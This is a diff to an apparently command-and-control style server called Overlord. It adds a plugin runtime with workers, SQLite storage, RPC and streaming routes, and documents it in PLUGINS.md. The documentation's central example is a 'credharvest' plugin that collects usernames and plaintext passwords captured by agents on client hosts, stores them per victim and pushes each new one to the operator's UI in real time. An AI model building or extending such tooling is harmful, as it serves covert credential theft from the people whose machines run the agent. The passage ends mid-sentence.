diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 0646f9f..e2468e1 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -67,6 +67,7 @@ import { sendPluginBundle, dispatchAutoLoadPlugins, } from "./server/plugin-state-bundle"; +import { createPluginRuntime } from "./server/plugin-runtime/runtime"; import { DISCONNECT_TIMEOUT_MS, HEARTBEAT_INTERVAL_MS, @@ -224,6 +225,15 @@ const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PA const loadPluginState = async () => { pluginState = await loadPluginStateFromDisk(PLUGIN_STATE_PATH); }; + +const pluginRuntime = createPluginRuntime({ + pluginRoot: PLUGIN_ROOT, + workerHostUrl: new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href, + setLastError: (pluginId, error) => { + pluginState.lastError[pluginId] = error; + void savePluginState(); + }, +}); const ensurePluginExtracted = (pluginId: string) => ensurePluginExtractedFromRoot(PLUGIN_ROOT, pluginId, sanitizePluginId); const listPluginManifests = () => @@ -323,6 +333,8 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ getUserRole: (userId: number) => getUserById(userId)?.role, storeNotificationScreenshot: storeNotificationScreenshotForPending, deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, + forwardPluginEventToRuntime: (clientId, pluginId, event, payload) => + pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload), getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => { const mapRow = (u: any): UserDeliveryTarget => ({ userId: u.id, @@ -369,6 +381,21 @@ const pendingCommandReplies = new Map(); async function startServer() { await loadPluginState(); + try { + const manifests = await listPluginManifests(); + for (const manifest of manifests) { + if (pluginState.enabled[manifest.id] === false) continue; + if (!pluginRuntime.hasServerCode(manifest.id)) continue; + try { + await pluginRuntime.startPlugin(manifest.id); + } catch (err) { + logger.warn(`[plugin-runtime] boot failed for ${manifest.id}: ${(err as Error).message}`); + } + } + } catch (err) { + logger.warn(`[plugin-runtime] startup scan failed: ${(err as Error).message}`); + } + setPostApproveHook((clientId: string) => { const client = clientManager.getClient(clientId); if (!client) return; @@ -460,6 +487,7 @@ async function startServer() { drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents, secureHeaders, mimeType, + pluginRuntime, }, fileShare: { FILE_SHARE_ROOT, @@ -775,12 +803,14 @@ startServer(); process.on("SIGINT", () => { logger.info("\n[server] Shutting down gracefully..."); + void pluginRuntime.shutdownAll(); flushAuditLogsSync(); process.exit(0); }); process.on("SIGTERM", () => { logger.info("\n[server] Shutting down gracefully..."); + void pluginRuntime.shutdownAll(); flushAuditLogsSync(); process.exit(0); }); diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index dd1df60..2088c4c 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -274,6 +274,7 @@ export type PluginManifest = { label?: string; icon?: string; }; + hasServer?: boolean; }; export type PluginSignatureInfo = { diff --git a/Overlord-Server/src/server/plugin-runtime/runtime.ts b/Overlord-Server/src/server/plugin-runtime/runtime.ts new file mode 100644 index 0000000..6093869 --- /dev/null +++ b/Overlord-Server/src/server/plugin-runtime/runtime.ts @@ -0,0 +1,307 @@ +import path from "path"; +import fs from "fs/promises"; +import { existsSync } from "fs"; +import { v4 as uuidv4 } from "uuid"; +import { logger } from "../../logger"; +import type { WorkerInbound, WorkerOutbound, PluginRpcCaller } from "./types"; + +type Subscriber = { + id: string; + send: (sse: string) => void; + close: () => void; +}; + +type PendingRpc = { + resolve: (value: unknown) => void; + reject: (err: Error) => void; + timer: ReturnType; +}; + +type PluginInstance = { + pluginId: string; + worker: Worker; + ready: Promise; + resolveReady: () => void; + rejectReady: (err: Error) => void; + isReady: boolean; + pending: Map; + subscribers: Set; + startedAt: number; +}; + +const RPC_TIMEOUT_MS = 30_000; +const SHUTDOWN_GRACE_MS = 750; + +export type PluginRuntime = { + startPlugin: (pluginId: string) => Promise; + stopPlugin: (pluginId: string) => Promise; + restartPlugin: (pluginId: string) => Promise; + dispatchClientEvent: ( + clientId: string, + pluginId: string, + event: string, + payload: unknown, + ) => void; + rpc: ( + pluginId: string, + method: string, + params: unknown, + caller: PluginRpcCaller, + ) => Promise; + subscribe: ( + pluginId: string, + send: (sse: string) => void, + close: () => void, + ) => (() => void) | null; + isRunning: (pluginId: string) => boolean; + hasServerCode: (pluginId: string) => boolean; + shutdownAll: () => Promise; +}; + +export type PluginRuntimeOptions = { + pluginRoot: string; + workerHostUrl: string; // file:// URL or absolute path that `new Worker()` accepts + setLastError: (pluginId: string, error: string) => void; +}; + +export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime { + const instances = new Map(); + + function pluginServerScript(pluginId: string): string { + return path.join(opts.pluginRoot, pluginId, "server.js"); + } + + function hasServerCode(pluginId: string): boolean { + return existsSync(pluginServerScript(pluginId)); + } + + function isRunning(pluginId: string): boolean { + return instances.has(pluginId); + } + + async function startPlugin(pluginId: string): Promise { + if (instances.has(pluginId)) return; + const script = pluginServerScript(pluginId); + if (!existsSync(script)) return; + + const dataDir = path.join(opts.pluginRoot, pluginId, "data"); + await fs.mkdir(dataDir, { recursive: true }); + const dbPath = path.join(dataDir, "plugin.db"); + + const worker = new Worker(opts.workerHostUrl); + + let resolveReady!: () => void; + let rejectReady!: (err: Error) => void; + const ready = new Promise((res, rej) => { + resolveReady = res; + rejectReady = rej; + }); + + const inst: PluginInstance = { + pluginId, + worker, + ready, + resolveReady, + rejectReady, + isReady: false, + pending: new Map(), + subscribers: new Set(), + startedAt: Date.now(), + }; + + worker.onmessage = (e: MessageEvent) => { + handleWorkerMessage(inst, e.data); + }; + + (worker as any).onerror = (event: any) => { + const message = event?.message || event?.error?.message || String(event); + logger.error(`[plugin:${pluginId}] worker error: ${message}`); + opts.setLastError(pluginId, `worker crash: ${message}`); + rejectReady(new Error(message)); + void stopPlugin(pluginId); + }; + + instances.set(pluginId, inst); + + const bootMsg: WorkerInbound = { + type: "boot", + pluginId, + serverScript: script, + dbPath, + pluginRoot: opts.pluginRoot, + }; + worker.postMessage(bootMsg); + + try { + await ready; + inst.isReady = true; + logger.info(`[plugin:${pluginId}] server runtime ready (db=${path.basename(dbPath)})`); + } catch (err) { + const error = err instanceof Error ? err.message : String(err); + logger.error(`[plugin:${pluginId}] failed to start: ${error}`); + opts.setLastError(pluginId, error); + try { worker.terminate(); } catch {} + instances.delete(pluginId); + throw err; + } + } + + async function stopPlugin(pluginId: string): Promise { + const inst = instances.get(pluginId); + if (!inst) return; + instances.delete(pluginId); + + for (const sub of inst.subscribers) { + try { sub.close(); } catch {} + } + inst.subscribers.clear(); + + for (const pending of inst.pending.values()) { + clearTimeout(pending.timer); + pending.reject(new Error("Plugin runtime stopped")); + } + inst.pending.clear(); + + try { + const shutdownMsg: WorkerInbound = { type: "shutdown" }; + inst.worker.postMessage(shutdownMsg); + } catch {} + + setTimeout(() => { + try { inst.worker.terminate(); } catch {} + }, SHUTDOWN_GRACE_MS); + + logger.info(`[plugin:${pluginId}] server runtime stopped`); + } + + async function restartPlugin(pluginId: string): Promise { + if (instances.has(pluginId)) { + await stopPlugin(pluginId); + } + await startPlugin(pluginId); + } + + function dispatchClientEvent( + clientId: string, + pluginId: string, + event: string, + payload: unknown, + ): void { + const inst = instances.get(pluginId); + if (!inst) return; + const send = () => { + try { + const msg: WorkerInbound = { type: "event", clientId, event, payload }; + inst.worker.postMessage(msg); + } catch (err) { + logger.warn( + `[plugin:${pluginId}] event dispatch failed: ${(err as Error).message}`, + ); + } + }; + if (inst.isReady) { + send(); + } else { + inst.ready.then(send).catch(() => {}); + } + } + + function rpc( + pluginId: string, + method: string, + params: unknown, + caller: PluginRpcCaller, + ): Promise { + const inst = instances.get(pluginId); + if (!inst) { + return Promise.reject(new Error("Plugin runtime not running")); + } + const callOnReady = () => + new Promise((resolve, reject) => { + const id = uuidv4(); + const timer = setTimeout(() => { + if (inst.pending.delete(id)) { + reject(new Error(`RPC timeout: ${method}`)); + } + }, RPC_TIMEOUT_MS); + inst.pending.set(id, { resolve, reject, timer }); + const msg: WorkerInbound = { type: "rpc", id, method, params, caller }; + try { + inst.worker.postMessage(msg); + } catch (err) { + clearTimeout(timer); + inst.pending.delete(id); + reject(err instanceof Error ? err : new Error(String(err))); + } + }); + return inst.isReady ? callOnReady() : inst.ready.then(callOnReady); + } + + function subscribe( + pluginId: string, + send: (sse: string) => void, + close: () => void, + ): (() => void) | null { + const inst = instances.get(pluginId); + if (!inst) return null; + const sub: Subscriber = { id: uuidv4(), send, close }; + inst.subscribers.add(sub); + return () => { + inst.subscribers.delete(sub); + }; + } + + function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) { + if (msg.type === "ready") { + inst.resolveReady(); + return; + } + if (msg.type === "boot_error") { + opts.setLastError(inst.pluginId, msg.error); + inst.rejectReady(new Error(msg.error)); + return; + } + if (msg.type === "rpc_reply") { + const pending = inst.pending.get(msg.id); + if (!pending) return; + clearTimeout(pending.timer); + inst.pending.delete(msg.id); + if (msg.ok) pending.resolve(msg.result); + else pending.reject(new Error(msg.error)); + return; + } + if (msg.type === "broadcast") { + const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, ""); + const dataLine = JSON.stringify(msg.data ?? null); + const sse = `event: ${safeChannel}\ndata: ${dataLine}\n\n`; + for (const sub of inst.subscribers) { + try { sub.send(sse); } catch {} + } + return; + } + if (msg.type === "log") { + const tag = `[plugin:${inst.pluginId}]`; + if (msg.level === "info") logger.info(`${tag} ${msg.message}`); + else if (msg.level === "warn") logger.warn(`${tag} ${msg.message}`); + else if (msg.level === "error") logger.error(`${tag} ${msg.message}`); + else logger.debug(`${tag} ${msg.message}`); + } + } + + async function shutdownAll(): Promise { + const ids = Array.from(instances.keys()); + await Promise.all(ids.map((id) => stopPlugin(id))); + } + + return { + startPlugin, + stopPlugin, + restartPlugin, + dispatchClientEvent, + rpc, + subscribe, + isRunning, + hasServerCode, + shutdownAll, + }; +} diff --git a/Overlord-Server/src/server/plugin-runtime/types.ts b/Overlord-Server/src/server/plugin-runtime/types.ts new file mode 100644 index 0000000..291defa --- /dev/null +++ b/Overlord-Server/src/server/plugin-runtime/types.ts @@ -0,0 +1,37 @@ +export type PluginRpcCaller = { + id: number; + role: string; +}; + +export type WorkerInbound = + | { + type: "boot"; + pluginId: string; + serverScript: string; + dbPath: string; + pluginRoot: string; + } + | { + type: "event"; + clientId: string; + event: string; + payload: unknown; + } + | { + type: "rpc"; + id: string; + method: string; + params: unknown; + caller: PluginRpcCaller; + } + | { + type: "shutdown"; + }; + +export type WorkerOutbound = + | { type: "ready" } + | { type: "boot_error"; error: string } + | { type: "rpc_reply"; id: string; ok: true; result: unknown } + | { type: "rpc_reply"; id: string; ok: false; error: string } + | { type: "broadcast"; channel: string; data: unknown } + | { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string }; diff --git a/Overlord-Server/src/server/plugin-runtime/worker-host.ts b/Overlord-Server/src/server/plugin-runtime/worker-host.ts new file mode 100644 index 0000000..655d875 --- /dev/null +++ b/Overlord-Server/src/server/plugin-runtime/worker-host.ts @@ -0,0 +1,134 @@ +import { Database } from "bun:sqlite"; +import path from "path"; +import { pathToFileURL } from "url"; +import type { WorkerInbound, WorkerOutbound } from "./types"; + +declare const self: { + postMessage: (msg: WorkerOutbound) => void; + onmessage: ((e: MessageEvent) => void) | null; +}; + +type PluginExports = { + setup?: (ctx: PluginContext) => unknown | Promise; + onEvent?: (ctx: PluginContext, clientId: string, event: string, payload: unknown) => unknown | Promise; + rpc?: Record unknown | Promise>; + teardown?: (ctx: PluginContext) => unknown | Promise; +}; + +type PluginContext = { + pluginId: string; + db: Database; + dataDir: string; + log: { + debug: (message: string) => void; + info: (message: string) => void; + warn: (message: string) => void; + error: (message: string) => void; + }; + broadcast: (channel: string, data: unknown) => void; +}; + +let plugin: PluginExports | null = null; +let db: Database | null = null; +let ctx: PluginContext | null = null; +let pluginId = ""; + +function send(msg: WorkerOutbound) { + self.postMessage(msg); +} + +function makeLogger(): PluginContext["log"] { + return { + debug: (m) => send({ type: "log", level: "debug", message: m }), + info: (m) => send({ type: "log", level: "info", message: m }), + warn: (m) => send({ type: "log", level: "warn", message: m }), + error: (m) => send({ type: "log", level: "error", message: m }), + }; +} + +self.onmessage = async (e: MessageEvent) => { + const msg = e.data; + + if (msg.type === "boot") { + try { + pluginId = msg.pluginId; + db = new Database(msg.dbPath, { create: true }); + try { + db.exec("PRAGMA journal_mode = WAL"); + db.exec("PRAGMA synchronous = NORMAL"); + db.exec("PRAGMA foreign_keys = ON"); + } catch {} + + const dataDir = path.join(msg.pluginRoot, msg.pluginId, "data"); + ctx = { + pluginId, + db, + dataDir, + log: makeLogger(), + broadcast: (channel, data) => send({ type: "broadcast", channel, data }), + }; + + const moduleUrl = `${pathToFileURL(msg.serverScript).href}?v=${Date.now()}`; + const mod = await import(/* @vite-ignore */ moduleUrl); + plugin = (mod.default || mod) as PluginExports; + + if (typeof plugin.setup === "function") { + await plugin.setup(ctx); + } + + send({ type: "ready" }); + } catch (err) { + const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err); + send({ type: "boot_error", error }); + } + return; + } + + if (msg.type === "event") { + if (!plugin || !ctx) return; + if (typeof plugin.onEvent !== "function") return; + try { + await plugin.onEvent(ctx, msg.clientId, msg.event, msg.payload); + } catch (err) { + const error = err instanceof Error ? err.message : String(err); + send({ type: "log", level: "error", message: `onEvent(${msg.event}) failed: ${error}` }); + } + return; + } + + if (msg.type === "rpc") { + if (!plugin || !ctx) { + send({ type: "rpc_reply", id: msg.id, ok: false, error: "Plugin not initialised" }); + return; + } + const handler = plugin.rpc?.[msg.method]; + if (typeof handler !== "function") { + send({ type: "rpc_reply", id: msg.id, ok: false, error: `Unknown RPC method: ${msg.method}` }); + return; + } + try { + const result = await handler(ctx, msg.params, { caller: msg.caller }); + send({ type: "rpc_reply", id: msg.id, ok: true, result: result ?? null }); + } catch (err) { + const error = err instanceof Error ? err.message : String(err); + send({ type: "rpc_reply", id: msg.id, ok: false, error }); + } + return; + } + + if (msg.type === "shutdown") { + if (plugin && ctx && typeof plugin.teardown === "function") { + try { + await plugin.teardown(ctx); + } catch (err) { + const error = err instanceof Error ? err.message : String(err); + send({ type: "log", level: "warn", message: `teardown failed: ${error}` }); + } + } + try { db?.close(); } catch {} + db = null; + plugin = null; + ctx = null; + return; + } +}; diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts index 0826c3a..eef3da6 100644 --- a/Overlord-Server/src/server/plugin-state-bundle.ts +++ b/Overlord-Server/src/server/plugin-state-bundle.ts @@ -95,6 +95,7 @@ export async function ensurePluginExtracted( let htmlEntry: Buffer | null = null; let cssEntry: Buffer | null = null; let jsEntry: Buffer | null = null; + let serverEntry: Buffer | null = null; let configEntry: Buffer | null = null; const nativeBinaries: Map = new Map(); @@ -104,6 +105,8 @@ export async function ensurePluginExtracted( const lower = base.toLowerCase(); if (lower.endsWith(".so") || lower.endsWith(".dll") || lower.endsWith(".dylib")) { nativeBinaries.set(base, entry.getData()); + } else if (lower === "server.js") { + serverEntry = entry.getData(); } else if (lower.endsWith(".html")) { htmlEntry = entry.getData(); } else if (lower.endsWith(".css")) { @@ -132,6 +135,15 @@ export async function ensurePluginExtracted( await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry); await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry); + const serverScriptPath = path.join(pluginDir, "server.js"); + if (serverEntry) { + await fs.writeFile(serverScriptPath, serverEntry); + } else { + // A previous extraction may have left a stale server.js — drop it so the + // runtime accurately reflects the current bundle. + try { await fs.rm(serverScriptPath, { force: true }); } catch {} + } + let extraConfig: any = {}; if (configEntry) { try { @@ -154,6 +166,7 @@ export async function ensurePluginExtracted( js: `${safeId}.js`, }, ...(extraConfig.navbar && { navbar: extraConfig.navbar }), + hasServer: serverEntry !== null, }; await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2)); diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts index cb44e26..39489c9 100644 --- a/Overlord-Server/src/server/routes/plugin-routes.ts +++ b/Overlord-Server/src/server/routes/plugin-routes.ts @@ -11,11 +11,13 @@ import { metrics } from "../../metrics"; import { encodeMessage, type PluginSignatureInfo } from "../../protocol"; import { getConfig, updatePluginsConfig } from "../../config"; import { getOrVerifySignature, BUILTIN_TRUSTED_KEYS } from "../plugin-signature"; +import type { PluginRuntime } from "../plugin-runtime/runtime"; type PluginManifest = { id: string; name: string; signature?: PluginSignatureInfo; + hasServer?: boolean; }; type PluginBundle = { @@ -50,6 +52,7 @@ type PluginRouteDeps = { drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>; secureHeaders: (contentType?: string) => Record; mimeType: (path: string) => string; + pluginRuntime: PluginRuntime; }; export async function handlePluginRoutes( @@ -85,6 +88,8 @@ export async function handlePluginRoutes( autoLoad: deps.pluginState.autoLoad[p.id] === true, autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [], signature: p.signature || { signed: false, trusted: false, valid: false }, + hasServer: p.hasServer === true || deps.pluginRuntime.hasServerCode(p.id), + serverRunning: deps.pluginRuntime.isRunning(p.id), })); return Response.json({ plugins: enriched }); } @@ -244,6 +249,16 @@ export async function handlePluginRoutes( await deps.savePluginState(); } + // Re-extracting the bundle may have replaced server.js, so cycle the + // runtime if the plugin is enabled. + if (deps.pluginState.enabled[pluginId] !== false && deps.pluginRuntime.hasServerCode(pluginId)) { + try { + await deps.pluginRuntime.restartPlugin(pluginId); + } catch {} + } else if (deps.pluginRuntime.isRunning(pluginId)) { + await deps.pluginRuntime.stopPlugin(pluginId); + } + return Response.json({ ok: true, id: pluginId, enabled: deps.pluginState.enabled[pluginId], signature: sigInfo }); } @@ -282,6 +297,15 @@ export async function handlePluginRoutes( deps.pluginState.enabled[pluginId] = enabled; await deps.savePluginState(); + + if (enabled) { + if (deps.pluginRuntime.hasServerCode(pluginId) && !deps.pluginRuntime.isRunning(pluginId)) { + try { await deps.pluginRuntime.startPlugin(pluginId); } catch {} + } + } else if (deps.pluginRuntime.isRunning(pluginId)) { + await deps.pluginRuntime.stopPlugin(pluginId); + } + return Response.json({ ok: true, id: pluginId, enabled }); } @@ -623,6 +647,10 @@ export async function handlePluginRoutes( delete deps.pluginState.autoStartEvents[pluginId]; await deps.savePluginState(); + if (deps.pluginRuntime.isRunning(pluginId)) { + await deps.pluginRuntime.stopPlugin(pluginId); + } + return Response.json({ ok: true, id: pluginId }); } @@ -799,6 +827,116 @@ export async function handlePluginRoutes( return Response.json({ ok: true, id: pluginId }); } + const pluginRpcMatch = url.pathname.match(/^\/api\/plugins\/([^/]+)\/rpc$/); + if (req.method === "POST" && pluginRpcMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + let pluginId = ""; + try { pluginId = deps.sanitizePluginId(pluginRpcMatch[1]); } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + + if (deps.pluginState.enabled[pluginId] === false) { + return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 }); + } + if (!deps.pluginRuntime.isRunning(pluginId)) { + return Response.json( + { ok: false, error: "Plugin server runtime not running" }, + { status: 503 }, + ); + } + + let body: any = {}; + try { body = await req.json(); } catch {} + const method = typeof body.method === "string" ? body.method.trim() : ""; + if (!method) { + return Response.json({ ok: false, error: "Missing 'method'" }, { status: 400 }); + } + if (method.length > 128) { + return Response.json({ ok: false, error: "Method name too long" }, { status: 400 }); + } + + try { + const result = await deps.pluginRuntime.rpc(pluginId, method, body.params, { + id: user.userId, + role: user.role, + }); + metrics.recordCommand("plugin_rpc"); + return Response.json({ ok: true, result }); + } catch (err) { + return Response.json({ ok: false, error: (err as Error).message }, { status: 500 }); + } + } + + const pluginStreamMatch = url.pathname.match(/^\/api\/plugins\/([^/]+)\/stream$/); + if (req.method === "GET" && pluginStreamMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + let pluginId = ""; + try { pluginId = deps.sanitizePluginId(pluginStreamMatch[1]); } catch { + return new Response("Invalid plugin id", { status: 400 }); + } + + if (deps.pluginState.enabled[pluginId] === false) { + return new Response("Plugin disabled", { status: 400 }); + } + if (!deps.pluginRuntime.isRunning(pluginId)) { + return new Response("Plugin server runtime not running", { status: 503 }); + } + + const encoder = new TextEncoder(); + let unsubscribe: (() => void) | null = null; + let heartbeat: ReturnType | null = null; + + const stream = new ReadableStream({ + start(controller) { + const safeEnqueue = (chunk: Uint8Array) => { + try { controller.enqueue(chunk); } catch {} + }; + const send = (sse: string) => safeEnqueue(encoder.encode(sse)); + const close = () => { + try { controller.close(); } catch {} + }; + + unsubscribe = deps.pluginRuntime.subscribe(pluginId, send, close); + if (!unsubscribe) { + close(); + return; + } + + send(`: connected to ${pluginId}\n\n`); + heartbeat = setInterval(() => send(`: ping\n\n`), 25_000); + }, + cancel() { + if (heartbeat) clearInterval(heartbeat); + if (unsubscribe) unsubscribe(); + }, + }); + + return new Response(stream, { + headers: { + "Content-Type": "text/event-stream; charset=utf-8", + "Cache-Control": "no-cache, no-transform", + Connection: "keep-alive", + "X-Accel-Buffering": "no", + }, + }); + } + const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/); if (req.method === "GET" && pluginFrameMatch) { const user = await authenticateRequest(req); diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 22b9f3b..e7875f9 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -70,6 +70,12 @@ type CreateDeps = { clientId: string, ) => UserDeliveryTarget[]; savePluginState: () => Promise; + forwardPluginEventToRuntime?: ( + clientId: string, + pluginId: string, + event: string, + payload: unknown, + ) => void; }; function safeSendViewer(ws: ServerWebSocket, payload: unknown) { @@ -441,6 +447,18 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { if (pluginId && event) { bufferPluginUIEvent(clientId, pluginId, event, eventPayload ?? (error ? { error } : null)); } + if (pluginId && event && deps.forwardPluginEventToRuntime) { + try { + deps.forwardPluginEventToRuntime( + clientId, + pluginId, + event, + eventPayload ?? (error ? { error } : null), + ); + } catch (err) { + logger.warn(`[plugin] runtime dispatch failed: ${(err as Error).message}`); + } + } }, drainPluginUIEvents, diff --git a/plugins/PLUGINS.md b/plugins/PLUGINS.md index e6e1dce..74e7640 100644 --- a/plugins/PLUGINS.md +++ b/plugins/PLUGINS.md @@ -4,7 +4,7 @@ This document explains how to build Overlord plugins using the **native plugin s Plugins can be written in **any language** that can produce a C-ABI shared library: **Go**, **C**, **C++**, **Rust**, or anything else that compiles to native code. -> TL;DR: A plugin is a zip with platform-specific binaries (`.so`/`.dll`/`.dylib`) plus `.html`, `.css`, `.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins. +> TL;DR: A plugin is a zip with platform-specific binaries (`.so`/`.dll`/`.dylib`) plus `.html`, `.css`, `.js`. Upload it in the Plugins page or drop it in Overlord-Server/plugins. Optionally include a `server.js` for a per-plugin server runtime with a private SQLite DB, an RPC API, and live broadcasts to open UIs (see [section 11](#11-server-side-plugin-runtime)). ## 1) How plugins are structured @@ -32,6 +32,7 @@ sample.zip ├─ sample.html ├─ sample.css ├─ sample.js + ├─ server.js (optional — server-side runtime, see section 11) └─ config.json (optional — enables navbar & metadata) ``` @@ -43,7 +44,10 @@ Overlord-Server/plugins/sample/ ├─ sample-linux-arm64.so ├─ sample-darwin-arm64.dylib ├─ sample-windows-amd64.dll + ├─ server.js (optional — picked up by the plugin runtime) ├─ manifest.json (auto-generated, merged with config.json) + ├─ data/ + │ └─ plugin.db (auto-created when server.js is present) └─ assets/ ├─ sample.html ├─ sample.css @@ -659,6 +663,13 @@ Because the plugin UI is injected into a persistent single-page application, nav See [section 10](#10-server-side-plugin-data-directory) for full details. +### Server-side plugin runtime + +- `POST /api/plugins//rpc` — invoke a method on the plugin's worker +- `GET /api/plugins//stream` — Server-Sent Events stream of `ctx.broadcast()` calls + +See [section 11](#11-server-side-plugin-runtime) for full details. + ### Per-client plugin runtime - `POST /api/clients//plugins//load` @@ -882,6 +893,157 @@ const { files } = await (await fetch(`/api/plugins/myplugin/data`)).json(); - The data directory is created automatically on first use (no pre-setup needed) - Deleting and reinstalling a plugin leaves `data/` untouched +## 11) Server-side plugin runtime + +A plugin can ship an optional **`server.js`** at the root of its zip. When present, the server boots a dedicated **Bun Worker** for that plugin, opens a private SQLite database for it (`plugins//data/plugin.db`), and gives the worker an RPC + broadcast API. + +This is the right place for plugin logic that: + +- Has to run **without an open UI** (e.g. persisting credentials the agent harvests in the background). +- Needs to **aggregate state across every connected client** (the per-client native binary only sees its own host). +- Wants to **stream live updates** to whatever plugin pages are open right now without polling. + +The worker is process-isolated from the main server: a buggy plugin that throws inside `onEvent` or `rpc` does not take the rest of Overlord down with it. + +### Lifecycle + +| Event | Effect | +|-------|--------| +| Server starts | Every enabled plugin with a `server.js` is booted in its own worker. | +| Plugin enabled (`POST /api/plugins//enable {enabled:true}`) | Worker is started if `server.js` exists. | +| Plugin disabled | Worker is stopped (graceful shutdown → `terminate()` after 750 ms). | +| Plugin re-uploaded | Worker is restarted so the new `server.js` takes effect. | +| Plugin deleted | Worker is stopped; the `data/` directory (including `plugin.db`) is preserved across reinstalls. | +| Server SIGINT/SIGTERM | All workers are shut down before the process exits. | + +### `server.js` contract + +`server.js` is an ES module whose default export is a plain object with up to four optional handlers: + +```js +// plugins/credharvest/server.js +export default { + // Run once when the worker boots. Use this to migrate the schema or seed + // any state. Throwing here marks the plugin as failed (visible in + // /api/plugins → lastError) and the worker exits. + setup(ctx) { + ctx.db.exec(` + CREATE TABLE IF NOT EXISTS creds ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + client_id TEXT NOT NULL, + service TEXT, + username TEXT, + password TEXT, + captured_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS creds_by_client ON creds(client_id); + `); + }, + + // Fired every time an agent's native plugin sends a callback event back + // through the WebSocket (PluginOnEvent → host callback → server). Also + // fires for the lifecycle events the host injects: "loaded", "unloaded", + // "error". + onEvent(ctx, clientId, event, payload) { + if (event !== "credential") return; + ctx.db + .prepare(`INSERT INTO creds(client_id, service, username, password, captured_at) VALUES (?, ?, ?, ?, ?)`) + .run(clientId, payload.service, payload.username, payload.password, Date.now()); + ctx.broadcast("cred_added", { clientId, service: payload.service }); + }, + + // Methods called by the plugin UI via POST /api/plugins//rpc. + // Each handler receives (ctx, params, meta). Whatever you return becomes + // the `result` field of the JSON response. + rpc: { + list_all(ctx) { + return ctx.db + .prepare(`SELECT * FROM creds ORDER BY captured_at DESC LIMIT 1000`) + .all(); + }, + list_for_client(ctx, params) { + return ctx.db + .prepare(`SELECT * FROM creds WHERE client_id = ? ORDER BY captured_at DESC`) + .all(params.clientId); + }, + delete_all(ctx, _params, { caller }) { + if (caller.role !== "admin") throw new Error("Admin only"); + ctx.db.exec(`DELETE FROM creds`); + ctx.broadcast("cleared", { by: caller.id }); + return { ok: true }; + }, + }, + + // Called when the plugin is being shut down (disable, re-upload, server + // exit). Use it to flush state. The worker is forcibly terminated 750 ms + // after this returns, so don't rely on async cleanup taking longer. + teardown(ctx) { + ctx.log.info("shutting down"); + }, +}; +``` + +### The `ctx` object + +| Field | Type | Description | +|-------|------|-------------| +| `ctx.pluginId` | `string` | The sanitized plugin ID. | +| `ctx.db` | `Database` (`bun:sqlite`) | A pre-opened SQLite connection backed by `plugins//data/plugin.db`. WAL mode is enabled. The plugin owns the schema entirely. | +| `ctx.dataDir` | `string` | Absolute path to the plugin's `data/` directory. Use this if you want to read/write files alongside the DB (the same directory the `/api/plugins//data/*` filesystem API serves). | +| `ctx.log` | `{debug, info, warn, error}` | Each call is forwarded to the main server logger as `[plugin:] `. | +| `ctx.broadcast(channel, data)` | function | Push an event to every UI currently subscribed to this plugin's SSE stream. `data` must be JSON-serializable. | + +### Calling the plugin from the UI + +Plugin UI JS can call any RPC method: + +```js +const res = await fetch(`/api/plugins/credharvest/rpc`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ method: "list_all" }), +}); +const { ok, result, error } = await res.json(); +``` + +Subscribe to broadcasts: + +```js +const stream = new EventSource(`/api/plugins/credharvest/stream`); +stream.addEventListener("cred_added", (e) => { + const { clientId, service } = JSON.parse(e.data); + appendRow(clientId, service); +}); +stream.addEventListener("cleared", () => clearTable()); +``` + +The SSE stream keeps itself alive with a comment heartbeat every 25 s, which works through the standard reverse-proxy idle timeouts. Close the stream with `stream.close()` when the plugin page unmounts. + +### End-to-end flow for a credential harvester + +1. Native binary on the agent captures a credential and calls the host callback with `event="credential"` and a JSON payload. +2. Agent forwards the event over its `/api/clients//stream/ws` connection. +3. Server's `handlePluginEvent` records it for short-lived UI polling (the existing per-client behavior) **and** dispatches it into the plugin's worker via `onEvent`. +4. Worker INSERTs the credential into `plugin.db` and calls `ctx.broadcast("cred_added", ...)`. +5. Every open `/plugins/credharvest` page receives a `cred_added` SSE event and updates its UI in real time. +6. A user landing on `/plugins/credharvest` later calls `POST 